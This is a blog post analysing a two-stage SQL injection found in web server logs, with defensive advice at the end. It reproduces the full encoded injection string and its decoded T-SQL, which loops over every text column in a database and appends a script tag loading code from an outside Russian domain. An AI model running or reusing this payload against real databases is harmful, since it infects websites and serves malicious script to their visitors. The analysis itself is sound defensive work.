SQL Injection in two easy stepsRecently I came across the following
SQL injection exploit which I thought I would post about as it tries to deliver its payload in two steps and unless you have actually spent the time
decoding the varbinary strings they use you might not realise what its doing. Its based on a very successful exploit which has been doing the rounds for a couple of years now and makes use of an
encoded varbinary string which is then decoded to
insert malicious code into your system.Step One - First attempt at insertionSo if you are checking your
log files or logger database and see strings like the following in your querystrings then you probably know you've been
crawled by a hackbot.dEClaRe%20@s%20VaRchaR(4000);seT%20@S=CASt(0X6445434C415265204054205641724348617228323535292C406320566172434861522832353529204465436C615245207441626C455F435552734F5220635572534F5220466F522053454C65437420412E6E614D452C422E4E614D452066726F4D207379734F626A6563547320612C737973434F4C754D6E73204220776865524520612E69643D622E496420414E4420612E78545950453D27552720616E642028422E78545970653D3939204F5220622E78545970653D3335204F5220622E78547950653D323331206F7220422E58747950453D31363729206F50654E207461426C455F437572736F72206665744368204E4558742046524F6D207441624C655F637572736F5220694E544F2040742C4043205748696C6528404066455463685F7354415475533D302920426547496E20455865432827757064417465205B272B40542B275D20736554205B272B40632B275D3D525472694D28634F4E7665727428766172434841722834303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363437343633373032453732373532463631363437333245364137333345334332463733363337323639373037343345206153207661526348417228343929292729206645544348206E6558542046724F6D205441424C455F435572734F7220696E546F2040742C404320656E4420636C4F7365205461424C655F635552734F72206445614C4C6F63617465207461426C455F635572736F5220%20aS%20vaRchAR(4000));EXEc(@S);--
Now if you want to know what this is doing you should be very careful so that you don't actually
run the exploit and do the
hackers work for them! So copy and paste and only use a Query Analyser window that's not connected to any live database.
First thing to do is
URLDecode the string so that you get the spaces and symbols back. Use the
great Hackbar add-on by FireFox or run it through a function such as
UNESCAPE,
URLDecode etc.
Then make sure you remove the end part which execute the string e.g
;EXEc(@S);-- and replace it with a
PRINT statement e.g:
DECLARE @S VaRchaR(4000);
SET @S = CAST(0X6445434C415265204054205641724348617228323535292C406320566172434861522832353529204465436C615245207441626C455F435552734F5220635572534F5220466F522053454C65437420412E6E614D452C422E4E614D452066726F4D207379734F626A6563547320612C737973434F4C754D6E73204220776865524520612E69643D622E496420414E4420612E78545950453D27552720616E642028422E78545970653D3939204F5220622E78545970653D3335204F5220622E78547950653D323331206F7220422E58747950453D31363729206F50654E207461426C455F437572736F72206665744368204E4558742046524F6D207441624C655F637572736F5220694E544F2040742C4043205748696C6528404066455463685F7354415475533D302920426547496E20455865432827757064417465205B272B40542B275D20736554205B272B40632B275D3D525472694D28634F4E7665727428766172434841722834303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363437343633373032453732373532463631363437333245364137333345334332463733363337323639373037343345206153207661526348417228343929292729206645544348206E6558542046724F6D205441424C455F435572734F7220696E546F2040742C404320656E4420636C4F7365205461424C655F635552734F72206445614C4C6F63617465207461426C455F635572736F5220 aS vaRchAR(4000))
PRINT @S
Now we need to find out what that
encoded varbinary is doing so we run that
SQL statement to view the contents of the variable
@S which returns the following code:
dECLARe @T VArCHar(255),@c VarCHaR(255)
DeClaRE tAblE_CURsOR cUrSOR FoR
SELeCt A.naME,B.NaME
froM sysObjecTs a,sysCOLuMns B
wheRE a.id=b.Id AND a.xTYPE='U' and (B.xTYpe=99 OR b.xTYpe=35 OR b.xTyPe=231 or B.XtyPE=167)
oPeN taBlE_Cursor fetCh NEXt FROm tAbLe_cursoR iNTO @t,@C
WHile(@@fETch_sTATuS=0)
BeGIn
EXeC('updAte ['+@T+'] seT ['+@c+']=RTriM(cONvert(varCHAr(4000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F7777772E61647463702E72752F6164732E6A733E3C2F7363726970743E aS vaRcHAr(49))')
fETCH neXT FrOm TABLE_CUrsOr inTo @t,@C enD
clOse TaBLe_cURsOr
dEaLLocate taBlE_cUrsoR
Notice the lovely case syntax
aLl uP aNd DoWn to get round anyone who
forgot to make any regular expression tests case insensitive! It must be working on some sites otherwise they wouldn't be doing it.
Notice the
long CAST statement in the middle of the UPDATE. This is different from previous similar attacks which would just
insert a reference to a SCRIPT tag which referred to a
virus infected site. They are trying to
insert this encoded string into all the textual columns it can find in your database. I wonder what that string contains?
Step Two - Unpacking the newly inserted exploitWell just after the first attempt on this page another attempt is made almost instantly with another
payload which when looking at the log file or database seems just like the first one. However the
injection string is slightly different and when its expanded out is:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH
NEXT FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0')
FETCH NEXT
FROM Table_Cursor
INTO @T,@C END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
So this second hit on your system is designed to
unpack the previous attempts injection of an encoded string into your textual columns. Its looking for any textual columns that when converted to VARCHAR(4000) contain a
SCRIPT tag and converting them to text to expose this
SCRIPT tag to any web pages that display the contents of these columns.
So finally to find out which website this
two stage attack is trying to deliver unsuspecting victims to we need to go back to the
first payload and print out the contents of that long
CAST statement in the middle of the UPDATE e.g:
PRINT cAsT(0x3C736372697074207372633D687474703A2F2F7777772E61647463702E72752F6164732E6A733E3C2F7363726970743E aS vaRcHAr(49))
<script src=http://www.adtcp.ru/ads.js></script>
I wonder what goodies can be found on this site!
Hopefully this
exploit doesn't take too many victims but if it does you can use my
SQL clean up script to remove any SCRIPT tags from your SQL database.To avoid being caught out by attacks like this you should do as many of the following as possible:
- Lock down your system views so they cannot be accessed by your website logons.
- Put all your CUD (create, update, delete) statements in stored procs with execute permission and then only grant your website logon select permission.
- Use parametrised queries instead of string concatenation to build SQL statements.
- Sanitise all input parameters used for SQL that are submitted from your website.
- Create some simple ISAPI rules to forward requests like these to 403 error pages.
- Ensure any error messages are hidden from your website users.
Read this article of mine for more details.